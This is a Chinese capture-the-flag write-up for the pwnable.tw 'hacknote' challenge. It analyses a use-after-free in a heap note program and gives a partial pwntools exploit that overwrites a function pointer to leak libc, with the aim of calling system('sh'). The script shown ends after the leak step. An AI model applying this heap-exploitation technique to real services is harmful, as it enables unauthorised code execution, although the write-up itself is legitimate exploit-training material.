pwnable.tw hacknote
总结一下,做堆题,就是要多调试。有时候一些堆管理机制我可能并不是特别清楚,但是多调试几次,调试器不会说谎,我就看明白了。
1、程序分析
一个32位的程序,有一个菜单如下所示:
int menu()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
程序的主函数如下示:当输入1的时候,会添加一块堆块;当输入2的时候,会删除一个堆块;当输入3的时候,会打印出相应的堆块。
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
del_note();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print_note();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add_note();
}
}
}
add_note函数如下所示:
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !note_0[i] )
{
note_0[i] = malloc(8u);
if ( !note_0[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)note_0[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = note_0[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)note_0[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)note_0[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
add_note函数,首先申请结构体需要的内存空间,然后申请字符串需要的内存空间。这里的note_0[i] 是一个结构体数组,对应的结构体应该如下所示:
typedef struct note{
(void *func)(char *);
char * s;
}note_0;
这里的函数指针被赋值为print_note_content,print_note_content其实就是打印结构体中字符串指针指向的字符串。
int __cdecl print_note_content(int a1) { return puts(*(const char **)(a1 + 4)); }
del_note函数如下所示:
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( note_0[v1] )
{
free(*((void **)note_0[v1] + 1));
free(note_0[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
del_note在freenote掉note_0[i]申请到的堆块和对应的字符串申请到的堆块之后,并没有马上把指针置空,这样就存在着use after free的情况,如果我们通过排布堆空间来实现结构体函数指针改写的话,就有可能拿到shell。
print_note函数如下所示:
可以看到,打印字符串的时候,是通过结构体的函数指针进行打印的,如果我们修改函数指针为system函数,字符串布置为“sh“的话,就有可能拿到shell。
2、漏洞利用
我们要通过利用uaf漏洞来拿到shell,首先需要想办法来改写函数指针,我们可以这么做:先申请两块堆块,堆块大小小于128 bytes,大于16 bytes,然后free掉两个堆块,这时候再申请一个8字节的堆空间(实际申请到16字节,因为要地址对齐),这时候重新申请到的堆空间就会被布置在第一次申请堆块所对应的结构体上去,这时候我们就可以修改结构体指针了。
由于所给题目的plt表和got表中没有system函数,所以我们还需要泄露一下函数在libc表中的真实地址。以上第一步,我们应该通过修改函数指针的方法来修改函数地址。
第二步,我们释放掉刚才申请的8字节的堆块,然后再次申请相同大小的堆块,这时候,根据glibc的堆管理机制,我们会重新分配到刚才释放掉的那块内存,这时候再修改结构体对应的函数指针,就可以成功get shell。
以上过程,都可以在gdb中调试得到。
exp如下所示:
from pwn import *
from pwnlib import *
context.log_level="debug"
DEBUG=0
if DEBUG:
io=process('./hacknote')
else:
io=remote('chall.pwnable.tw',10102)
#gdb.attach(io)
elf=ELF('./hacknote')
libc=ELF('./libc_32.so.6')
read_got=elf.got['read']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read_sym=libc.sym['read']
system_sym=libc.sym['system']
print_content=0x0804862B
def add(size,content):
io.recvuntil("Your choice :")
io.sendline(str(1))
io.recvuntil('Note size :')
io.sendline(str(size))
io.recvuntil('Content :')
io.send(content)
def del_note(idx):
io.recvuntil('Your choice :')
io.sendline(str(2))
io.recvuntil('Index :')
io.sendline(str(idx))
def print_note(idx):
io.recvuntil('Your choice :')
io.sendline(str(3))
io.recvuntil('Index :')
io.sendline(str(idx))
add(0x80,'aaaa')
add(0x80,'bbbb')
del_note(0)
del_note(1)
payload=p32(print_content)+p32(read_got)
add(0x8,payload)
print_note(0)